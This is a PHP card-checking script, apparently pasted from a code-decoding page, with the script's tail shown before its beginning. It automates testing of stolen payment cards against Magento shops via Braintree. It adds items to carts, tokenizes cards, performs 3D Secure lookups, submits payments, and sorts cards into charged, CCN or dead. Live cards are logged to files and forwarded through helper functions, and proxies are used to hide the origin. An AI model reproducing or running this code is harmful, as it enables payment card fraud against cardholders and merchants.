$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth
$curl
");
break;
}
curl_close($ch);
} while (true);
# =========== [ save-password ]
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/save-password');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"password":"'.$password.'"}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
fwrite(fopen("logs/logs.txt", "a"), "save-password $card $statuscode
$curl
");
if (strpos($curl, 'route')) {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/amasty_checkout/guest-carts/'.$cart_id.'/save-password');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"password":"'.$password.'"}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
fwrite(fopen("logs/logs.txt", "a"), "save-password $card $statuscode
$curl
");
}
# =========== [ PROXY ]
$rproxy = 0;
PROXY:
if ($rproxy > 3) { echo "#DEAD $card PROXY | RETRIED FOR 3 TIMES"; return; }
$ch = curl_init();
if ($proxy_stats == 'on') curl_setopt_array($ch, [CURLOPT_PROXY => $proxy, CURLOPT_PROXYUSERPWD => $pw]);
curl_setopt($ch, CURLOPT_URL, 'https://api.ipapi.is/');
$headers = array();
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
curl_close($ch);
$ip1 = g($curl, '"ip": "','"');
$ip2 = g($curl, '"country": "','"');
$ip = "[IP:$ip1] [Country:$ip2]";
if (!$ip1) { $rproxy++; goto PROXY; }
# =========== [ PAYMENT ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, 'https://payments.braintree-api.com/graphql');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"clientSdkMetadata":{"source":"client","integration":"custom","sessionId":"'.$session.'"},"query":"mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) { tokenizeCreditCard(input: $input) { token creditCard { bin brandCode last4 expirationMonth expirationYear binData { prepaid healthcare debit durbinRegulated commercial payroll issuingBank countryOfIssuance productId } } } }","variables":{"input":{"creditCard":{"number":"'.$cc.'","expirationMonth":"'.$mm.'","expirationYear":"'.$yyyy4.'","cvv":"'.$cvv.'"},"options":{"validate":false}}},"operationName":"TokenizeCreditCard"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Authorization: Bearer '.$bearer.'';
$headers[] = 'Braintree-Version: 2018-05-10';
$headers[] = 'Origin: https://assets.braintreegateway.com';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Referer: https://assets.braintreegateway.com/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: cross-site';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$ptoken = g($curl, '"token":"','"');
# =========== [ LOOKUP ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, 'https://api.braintreegateway.com/merchants/'.$merchant_id.'/client_api/v1/payment_methods/'.$ptoken.'/three_d_secure/lookup');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"amount":"'.$amt.'","browserColorDepth":24,"browserJavaEnabled":true,"browserJavascriptEnabled":true,"browserLanguage":"en-US","browserScreenHeight":600,"browserScreenWidth":800,"browserTimeZone":-480,"deviceChannel":"Browser","additionalInfo":{"billingLine1":"'.$street.'","billingCity":"'.$city.'","billingState":"'.$state.'","billingPostalCode":"'.$postcode.'","billingCountryCode":"'.$country.'","billingPhoneNumber":"'.$phone.'","billingGivenName":"'.$fname.'","billingSurname":"'.$lname.'"},"dfReferenceId":"1_'.$session.'","clientMetadata":{"sdkVersion":"web/3.51.0","requestedThreeDSecureVersion":"2","cardinalDeviceDataCollectionTimeElapsed":871},"authorizationFingerprint":"'.$bearer.'","braintreeLibraryVersion":"braintree/web/3.51.0","_meta":{"merchantAppId":"'.$domain1.'","platform":"web","sdkVersion":"3.51.0","source":"client","integration":"custom","integrationType":"custom","sessionId":"'.$session.'"}}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Origin: '.$domain.'';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Referer: '.$domain.'/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: cross-site';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode
$curl
");
$status = g($curl, '"status":"','"');
if ($status == 'challenge_required' || $status == 'authenticate_frictionless_failed') {
exit("#DEAD $card [AMOUNT: $amt] [$status] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
}
$pnonce = g($curl, '"nonce":"','"');
$msg = g($curl, '"message":"','"');
if ($msg == 'Merchant account not 3D Secure enabled') {
$pnonce = $ptoken;
}
# =========== [ LAST ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/payment-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// $postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'"}},"email":"'.$email.'"}';
$postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'","device_data":"{\"device_session_id\":\"e5076ba5a25aad41834d12fbabe98ec0\",\"fraud_merchant_id\":null}"},"extension_attributes":{"agreement_ids":["1"]}},"email":"'.$email.'"}';
if ($regionID === null || empty($regionID)) {
$postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'","device_data":"{\"device_session_id\":\"e5076ba5a25aad41834d12fbabe98ec0\",\"fraud_merchant_id\":null}"},"extension_attributes":{"agreement_ids":["1"]}},"email":"'.$email.'"}';
}
// $postfield = '{"cartId":"X1iRV0v9dZ98JnmPsnBnsQTfaOPq61DK","billingAddress":{"countryId":"GB","region":"Hampshire","street":["Bentworth"],"telephone":"01420 562338","postcode":"GU34 5JT","city":"Alton","firstname":"Aht","lastname":"Dawg","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"9f57407f-fa6b-4648-88d2-ae61e75d69d6","g-recaptcha-response":"03AFcWeA5az5c2J7NI-0KzFzaTqJaPKFPGdLGR9777ulXHesVTww_fmMv5BxIr7iBIk1bZP5rl3fw_94V6BqLRFUuVLvozyUsUL4vUBZKa9qpTHjelPYYLwh1gQyFL6Okt7DgLWb3A852AqnXxAwlKtwKGGtDKcaevdAygBhoHlbs4BM7exrR0Y89iH2Mu64gBuxF6wln0np7wXzB793QrwtU8Y9uZUrM2HUAYfdPXUU8Ct3ZHobD5qWc3Za0yGwbxTubAXQPyKHNJbGR1H2hPFnDvzWcroJ7QeiLxsv6vaLJhIqpTFWAMR-ADSeBmExyrphTkrOfG1xhZPbdWxZJ89AsNGG4ebxQiiFfcb68A0KT5_Rj6pXB1XUHAQ5VbXXpnAn1rpWLw05Fc_jRPttlqwjWNN40Pr7Mw1YcYoBtYNZu5OdUBRE5th3d_MsOuWGwE599WOqeR4NTB6WX24H_YSe1Ps5V32YkpXHAeoM7RwJiw0oXhDO457m7Ml8-nCQe3vX4s2W0DCVShakP-eMlxJ_OBGuHOa0cV6E-iCQgSROBG5eDdkDaOrtnvC8QlyfdZun8Ep5jdQSyhpV7y0LW2AoUWqX1eBSYQd3etzhWA0ZvkmfCBNvnTHZNL5QZ8fKXKdCQ69uUjjfPOWbkUMwNJLEW4sdH4YSUdRg","device_data":"{\"correlation_id\":\"e1814c460c27f49a875bff9fe3011c5b\"}"},"extension_attributes":{"swissup_checkout_fields":{},"agreement_ids":["2"]}},"email":"[email protected]"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth
$curl
");
$msg = g($curl, '"message":"','"');
$msg = str_replace('Your payment could not be taken. Please try again or use a different payment method. ', '', $msg);
if ((strpos($curl, 'error'))) {
echo "#DEAD $card [AMOUNT: $amt] [SERVER ERROR] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg");
goto END;
}
// if ((strpos($curl, 'success'))) {
// echo "#CVV $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
// forwardCVVCHARGED("$card CVV B3V2");
// forwardSK("$card $site $msg");
// fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3
");
// fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3
");
// fwrite(fopen("lives/b3site.txt", "a"), "$site
");
// goto END;
// }
if (strpos($curl, 'ReCaptcha') !== false || strpos($curl, 'captcha') !== false) {
echo "#DEAD' $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg B3V2");
goto END;
}
if ($statuscode == '200' || strpos($curl, '"success":true') !== false) {
echo "#CVV $card [AMOUNT: $amt] [CHARGED] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCVVCHARGED("$card CVV B3V200");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3
");
fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3
");
fwrite(fopen("lives/b3site.txt", "a"), "$site
");
goto END;
}
elseif (strpos($curl, 'Gateway Rejected: avs') !== false || strpos($curl, 'Address Validation') !== false) {
echo "#CVV $card [AMOUNT: $amt] AVS $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCVVCHARGED("$card AVS B3V2");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3
");
fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3
");
fwrite(fopen("lives/b3site.txt", "a"), "$site
");
goto END;
}
if (strpos($curl, 'Card Issuer Declined CVV') !== false || strpos($curl, 'card verification number') !== false) {
echo "#CCN $card [AMOUNT: $amt] [Card Issuer Declined CVV] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card CCN");
forwardSK("$card $site $msg");
fwrite(fopen("lives/ccn.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3
");
fwrite(fopen("lives/b3site.txt", "a"), "$site
");
goto END;
}
elseif (strpos($curl, 'Gateway Rejected: avs_and_cvv')) {
echo "#CCN $card [AMOUNT: $amt] [Gateway Rejected: avs_and_cvv] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card CCN");
forwardSK("$card $site $msg");
fwrite(fopen("lives/ccn.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3
");
fwrite(fopen("lives/b3site.txt", "a"), "$site
");
goto END;
}
elseif ((strpos($curl, 'Insufficient Funds')) || (strpos($curl, 'Insufficient fund'))) {
echo "#CCN $card [AMOUNT: $amt] [Insufficient Funds] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card INSU B3");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3site.txt", "a"), "$site
");
goto END;
}
else {
echo "#DEAD' $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg B3V2");
goto END;
}
END: ### [END]
ob_flush();
ob_get_clean();
unlink($cookie);
exit();
?>
Did this file decode correctly?
Original Code
<?php
require '../xset.php';
//date_default_timezone_set('Asia/Singapore');
date_default_timezone_set('America/New_York');
error_reporting(1);
set_time_limit(340);
ini_set('display_errors', 0);
ini_set('max_execution_time', 300);
if (!empty($proxy)) {
$proxy_stats = 'on';
$file = file('lives/proxy.txt');
[$proxy, $pw] = [implode(':', array_slice(explode(':', $proxy), 0, 2)), implode(':', array_slice(explode(':', $proxy), 2))];
if (!in_array("$proxy:$pw\r\n", $file, true)) {
file_put_contents('lives/proxy.txt', "$proxy:$pw\r\n", FILE_APPEND);
}
} else {
$proxy_stats = 'x';
}
// $proxy_stats = 'off';
// $proxy = 'IP:PORT';
// $pw = 'USER:PASSWORD';
if (empty($card) || !is_numeric($cc) || strlen($cc) < 15) {
echo "#DEAD ";
if (empty($card)) {
echo "CARD IS EMPTY";
} elseif (!is_numeric($cc) || strlen($cc) < 15) {
echo "$card CARD ERROR";
}
die;
}
if (empty($sites)) {
exit("#DEAD SITE is empty");
}
// if (strpos(file_get_contents("lives/lives.txt"), $card) !== false) {
// exit("#CVV $card");
// }
### === [ ADDRESS ] [AU, BR, CA, CH, DE, DK, ES, FI, FR, GB, IE, IN, IR, MX, NL, NO, NZ, RS, TR, UA, US]
// $country = 'us';
// getAddress($country);
// ### [OR]
// $get = file_get_contents('https://randomuser.me/api/1.2/?nat='.$country.'');
// preg_match_all('("first":"(.*)")siU', $get, $matches1);
// $fname = $matches1[1][0];
// preg_match_all('("last":"(.*)")siU', $get, $matches1);
// $lname = $matches1[1][0];
// preg_match_all('("email":"(.*)")siU', $get, $matches1);
// $email = $matches1[1][0];
// $email = str_replace('example', 'gmail', $email);
// $email_encode = urlencode($email);
// preg_match_all('("street":"(.*)")siU', $get, $matches1);
// $street = $matches1[1][0];
// $street_encode = urlencode($street);
// preg_match_all('("city":"(.*)")siU', $get, $matches1);
// $city = $matches1[1][0];
// $city_encode = urlencode($city);
// preg_match_all('("state":"(.*)")siU', $get, $matches1);
// $region = $matches1[1][0];
// $region_encode = urlencode($region);
// preg_match_all('("phone":"(.*)")siU', $get, $matches1);
// $phone = $matches1[1][0];
// $phone_number = str_replace('-', '', $phone);
// $phone_numberx = str_replace('+', '', $phone_number);
// preg_match_all('("postcode":(.*),")siU', $get, $matches1);
// $postcode = $matches1[1][0];
// $postcode = str_replace('"', '', $postcode);
// $postcode_encode = urlencode($postcode);
// $region_code = region_code($region);
$START = 0;
START:
if ($START > 3) {
echo "#DEAD $card R1 | RETRIED FOR 3 TIMES $ip $siteNumber";
return;
}
$sitesArray = explode(",", $sites);
$sitesArray = array_filter($sitesArray);
foreach ($sitesArray as $url) {
$site[] = $url;
}
$randomIndex = array_rand($sitesArray);
$site = $site[$randomIndex];
$siteNumber = "SITE" . ($randomIndex + 1);
$domain1 = parse_url($site, PHP_URL_HOST);
$domain = 'https://' . parse_url($site, PHP_URL_HOST);
$tld = end(explode('.', $domain1));
if ($tld) {
$country = $tld;
} else {
$country = 'us';
}
if ($tld == 'com') {
$country = 'us';
} elseif ($tld == 'net') {
$country = 'us';
} elseif ($tld == 'org') {
$country = 'us';
}
###
// $max_retry = 3;
// $retry_count = 0;
// $options = [
// 'http' => [
// 'method' => "GET",
// 'header' => [
// "User-Agent: '.$ua.'",
// "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
// "Accept-Language: en-US,en;q=0.5",
// ]
// ]
// ];
// $context = stream_context_create($options);
// do {
// $response = @file_get_contents($site, false, $context);
// if ($response === false && !isset($http_response_header)) {
// $retry_count++;
// if ($retry_count >= $max_retry) {
// exit("$card FAILED TO GET SITE <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
// }
// sleep(1);
// } else {
// break;
// }
// } while (true);
###
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
$headers[] = 'accept-language: en-US,en;q=0.9';
$headers[] = 'sec-ch-ua-mobile: ?0';
$headers[] = 'sec-fetch-dest: document';
$headers[] = 'sec-fetch-mode: navigate';
$headers[] = 'sec-fetch-site: none';
$headers[] = 'sec-fetch-user: ?1';
$headers[] = 'upgrade-insecure-requests: 1';
$headers[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"';
$headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$response = curl_exec($ch);
$response = gzdecode($response);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
###
$currency = g($response, '"currencyCode":"', '"');
if (!$currency) {
$currency = g($response, '"currency_code":"', '"');
}
if (!$currency) {
$currency = 'USD';
}
$pattern_div = '/<div class="product-add-form">(.*?)<\/div>/s';
preg_match($pattern_div, $response, $matches_div);
$inner_content = $matches_div[1] ?? '';
$product_sku = preg_match('/data-product-sku="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$checkout_url = preg_match('/action="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$product_id = preg_match('/<input type="hidden" name="product" value="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$form_key = preg_match('/<input name="form_key" type="hidden" value="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
if (!$product_sku) {
$product_sku = g($response, 'data-product-sku="','"');
$checkout_url = g($response, 'data-product-sku="'.$product_sku.'" action="','"');
$product_id = g($response, 'name="product" value="','"');
$form_key = g($response, '"form_key" type="hidden" value="','"');
}
###
$attri = g($response, '{"attributes":{"','"');
$attrival = g($response, '"'.$attri.'":"','"');
$variations = '&super_attribute['.$attri.']='.$attrival.'';
fwrite(fopen("logs/logs.txt", "w"), " $card $statuscode\nSKU:$product_sku checkout_url:$checkout_url product_id:$product_id $form_key currency:$currency\r\n\n");
# =========== [ ATC ]
$max_retry = 5;
$retry_count = 0;
do {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = 'product='.$product_id.'&selected_configurable_option=&category_name=&related_product=&item='.$product_id.'&form_key='.$form_key.'&qty=1'.$variations.'';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'DNT: 1';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $uid . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "#DEAD $card ATC MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), "ATC $card $statuscode\n$curl\r\n\n");
$ccheckout = g($checkout_url, $domain . '/', '/cart/');
$checkout = $domain . '/'.$ccheckout.'/checkout/';
$cart = $domain . '/'.$ccheckout.'/cart/';
# =========== [ CHECKOUT ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $cart);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card CHECKOUT MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$pos_default = strpos($curl, '"is_default":true');
$pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
$country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
$cart_id = g($curl, '"entity_id":"','"');
preg_match('/"ey.{997,}"/', $curl, $matches);
if (isset($matches[0])) {
